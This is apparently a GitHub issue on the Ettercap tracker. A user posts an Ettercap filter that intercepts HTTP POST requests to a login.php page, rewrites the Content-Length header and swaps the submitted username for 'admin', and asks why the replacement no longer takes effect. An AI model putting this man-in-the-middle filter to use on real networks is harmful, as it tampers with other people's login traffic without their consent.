Skip to content

Pcre_regex or replace has no effect in Ettercap filters #1248

@emeraldskygroup

Description

@emeraldskygroup

Hi, I’m trying to get this Ettercap filter to work which has worked in the past but it seems Ettercap no longer accepts it?

if (ip.dst == ‘192.###.##.#' && tcp.dst == 80) {
if(search(DATA.data, "POST")){

msg("request POST");

if (search(DATA.data, "login.php")){
msg("Call to the login page");
pcre_regex(DATA.data, "Content-Length: [0-9]*","Content-Length: 41");
msg("Content modified");

if (pcre_regex(DATA.data, "username=[a-zA-Z]*&","username=admin&")){
msg("Data modified\n");
}

msg("Done !\n");
}
}
}

I also tried using replace and execinject, the code runs and the messages are displayed, but nothing gets replaced.

Please helpp!!

Sincerely,
Marco

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions